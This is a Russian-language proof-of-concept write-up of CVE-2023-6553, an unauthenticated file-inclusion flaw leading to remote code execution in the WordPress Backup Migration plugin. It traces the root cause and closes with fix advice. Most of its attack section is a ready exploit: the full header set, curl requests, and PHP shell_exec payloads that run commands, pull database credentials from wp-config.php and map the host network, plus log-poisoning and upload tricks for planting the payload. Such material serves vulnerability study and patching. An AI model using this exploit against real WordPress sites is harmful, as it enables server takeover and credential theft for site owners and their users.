
Эксплойт proof-of-concept и техническое описание уязвимости CVE-2023-6553 — неаутентифицированная уязвимость включения PHP-файлов, позволяющая удалённое выполнение кода в плагине WordPress Backup Migration версии <=1.3.7.
Плагин: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8 (критический)
CWE: CWE-98 — Некорректный контроль имени файла для оператора Include/Require
Требование аутентификации: Отсутствует
Воздействие: Удалённое выполнение кода
Backup Migration — довольно популярный плагин WordPress (более 90 000 активных установок), который помогает пользователям создавать резервные копии. В процессе резервного копирования плагин запускает в фоне файл с именем backup-heart.php — он получает информацию о конфигурации через HTTP-заголовки, чтобы узнать, какой каталог необходимо скопировать, где находится файл конфигурации и т. д.
Проблема в том, что этот файл полностью доверяет HTTP-заголовкам, отправленным клиентом: он напрямую подставляет значение заголовка в путь к файлу, а затем использует require_once() для загрузки файла по этому пути. Атакующему достаточно отправить заголовок Content-Dir, указывающий на каталог с вредоносным PHP-кодом, — и сервер автоматически подключит и выполнит его.
Стоит отметить, что файл backup-heart.php не требует аутентификации — он проверяет только, является ли метод запроса POST, без проверки nonce или прав пользователя. Любой пользователь интернета может отправить к нему запрос.
⇒ Это уязвимость типа zero-click.
В PHP есть функции include(), require(), require_once(), используемые для включения других PHP-файлов в работающую программу. Когда путь к файлу, передаваемый в эти функции, поступает из пользовательского ввода без проверки, атакующий может заставить сервер подключить любой нужный ему файл:
allow_url_include=On (обычно отключено по умолчанию).Этот CVE относится к категории LFI — атакующий контролирует путь, передаваемый в require_once(), который указывает на PHP-файл, размещённый атакующим на сервере.
Многие разработчики считают HTTP-заголовки «внутренними» метаданными, известными только серверу и клиенту. В действительности атакующий контролирует 100% содержимого заголовков — он может задать любое имя и значение заголовка. Доверять заголовкам так же опасно, как доверять данным форм, — их необходимо проверять.
define() и константы PHPdefine('NAME', $value) создаёт константу, используемую во всём приложении. Будучи однажды определённой через define(), константа не может быть изменена. Если $value поступает от атакующего, то все места, где используется эта константа, оказываются под угрозой.
Я начал с поиска по всем выражениям require и include в плагине с помощью grep:
grep -rn "require\|include" includes/

Поиск вернул множество вызовов require/include. При их просмотре выяснилось, что большинство — это вызовы include_once в banner/misc.php и banner/views/index.php; они относятся к коду отрисовки административного интерфейса с жёстко заданными путями, поэтому использовать их нельзя.
Однако моё внимание привлекли две строки в backup-heart.php:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
В строке 118 используется require_once с константой BMI_INCLUDES — если бы эта константа была жёстко задана, всё было бы безопасно. Но если посмотреть на строку 64, видно, что BMI_INCLUDES формируется из другой константы — BMI_ROOT_DIR. Значит, нужно проследить дальше: где константа BMI_ROOT_DIR получает своё значение?
Я снова использовал grep, чтобы проследить её:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
Результат:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
Строка 62 показывает, что BMI_ROOT_DIR берёт значение из $fields['content-dir']. Это переменная, а не фиксированное значение, — нужно открыть файл и посмотреть, что содержит $fields.
Я открыл backup-heart.php в VS Code на строке 62:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

Отчётливо видно, что $fields['content-dir'] напрямую попадает в define(). Теперь нужно определить, где присваивается переменная $fields:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


На этом этапе первопричина становится абсолютно ясной: $fields содержит все HTTP-заголовки, полученные через getallheaders() и полностью контролируемые клиентом. Здесь нет ни wp_verify_nonce(), ни current_user_can(), ни проверки корректности пути — код лишь проверяет метод POST и напрямую считывает заголовки.
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
Кратко о первопричине: HTTP-заголовок → define() → require_once() — и между ними ни одного шага проверки.
Я использовал Xdebug + VS Code, чтобы наглядно подтвердить ход атаки. Я установил две точки останова — на строке 62 и строке 118 в backup-heart.php, после чего отправил эксплойт-запрос с помощью curl.
Точка останова 1 — строка 62:
Отладчик остановился прямо на define('BMI_ROOT_DIR', $fields['content-dir']). Раскрыв переменную $fields на панели Variables, я увидел массив из 22 элементов — все HTTP-заголовки, отправленные клиентом. А именно:
content-dir = "/tmp/bmi/" — это ровно то значение, которое было отправлено в заголовке и напрямую присвоено константе BMI_ROOT_DIR.content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — всё это контролируется атакующим.Никаких шагов проверки или фильтрации к content-dir перед передачей в define() не применяется.

Точка останова 2 — строка 118:
Нажав F5, я увидел, что отладчик остановился на require_once BMI_INCLUDES . '/bypasser.php'. Состояние в этот момент:
$fields по-прежнему хранит content-dir = "/tmp/bmi/" — это доказывает, что значение не изменялось между строками 62 и 118.{main} backup-heart.php 118:1 — код выполнился прямо от начала файла до этой точки, обойдя все проверки middleware и аутентификации./tmp/bmi/includes/bypasser.php — файл, содержимое которого контролируется атакующим.
Результаты отладки полностью подтверждают схему из шага 3: HTTP-заголовок проходит путь от getallheaders() → define() → require_once() без какой-либо проверки между ними.
Прежде чем вызвать include, на целевом сервере уже должен существовать PHP-файл. Распространённые методы:
| Метод | Суть |
|---|
Отправьте запрос с Content-Dir, указывающим на каталог с полезной нагрузкой. Сервер автоматически выполнит require и запустит файл атакующего.
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
Необходимо указать все заголовки Content-*, потому что backup-heart.php использует их в других вызовах define(); отсутствие заголовков вызовет предупреждения PHP и может прервать выполнение до require_once.
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
Возвращает 200 — эндпоинт открыт и не требует аутентификации.

Создайте структуру каталогов, соответствующую тому, что require_once ожидает найти: {Content-Dir}includes/bypasser.php:
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
Результат выполнения:

RCE успешно выполнен — сервер выполняет команду id и возвращает вывод.
После подтверждения RCE я изменил полезную нагрузку, чтобы показать, что атакующий может читать конфиденциальную информацию на сервере. Изменим содержимое файла полезной нагрузки так, чтобы он читал wp-config.php:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
Повторно отправьте тот же эксплойт-запрос curl → в ответе будут детали подключения к базе данных:
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
Атакующий может читать любой файл, к которому у www-data есть доступ: wp-config.php, /etc/passwd, исходный код других плагинов, — расширяя поверхность атаки.

Ещё раз изменим полезную нагрузку, чтобы показать: атакующий может собирать информацию о серверной системе — это помогает повышению привилегий или горизонтальному перемещению по сети.
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
Отправляем curl-эксплойт → вывод:
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

Из этого вывода атакующий узнаёт:
172.18.0.3 — подтверждает, что сервер находится внутри Docker-сети, что позволяет перемещаться на другие контейнеры (база данных, кэш и т. д.)backup-heart.php находится на диске и к нему можно обратиться напрямую по URL.Не используйте HTTP-заголовки для определения путей к файлам. Используйте относительные пути на основе __DIR__:
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);
// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
Добавьте проверку авторизации — вызывать этот эндпоинт должен иметь право только администратор WordPress:
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php./wp-content/plugins/*/includes/*.php.| Атрибут | Значение |
|---|
| CVE ID | CVE-2023-6553 |
| Оценка CVSS | 9.8 (критический) |
| Плагин | backup-backup (Backup Migration) ≤ 1.3.7 |
| Аутентификация | Не требуется |
| Взаимодействие с пользователем | Нет (zero-click) |
| Исправлено | Версия 1.3.8 |
| Отравление журналов | Отправьте запрос с <?php ... ?> в User-Agent → код попадает в журнал доступа → подключите файл журнала |
| PHP-сессии | Запишите PHP-код в файл сессии, расположенный по пути /tmp/sess_xxx |
| Цепочка загрузки файлов | Используйте функцию загрузки медиафайлов/аватаров в WordPress, чтобы загрузить файл |
| Журнал ошибок плагина | Плагин ведёт собственный журнал ошибок — если вызвать ошибку, содержащую PHP-код, этот код будет записан в файл журнала |
| Метрика CVSS | Значение | Причина |
|---|
| Вектор атаки | Сеть | Через HTTP |
| Сложность атаки | Низкая | 1 POST-запрос, не требуется особых условий или временных окон |
| Необходимые привилегии | Отсутствуют | Эндпоинт не требует аутентификации |
| Взаимодействие с пользователем | Нет | Атака выполняется атакующим, участие жертвы не требуется |
| Конфиденциальность | Высокая | Можно читать любые файлы: wp-config.php, /etc/passwd, исходный код |
| Целостность | Высокая | Произвольная запись файлов, установка веб-шеллов, изменение базы данных |
| Доступность | Высокая | Удаление файлов, завершение процессов, полная компрометация сервера |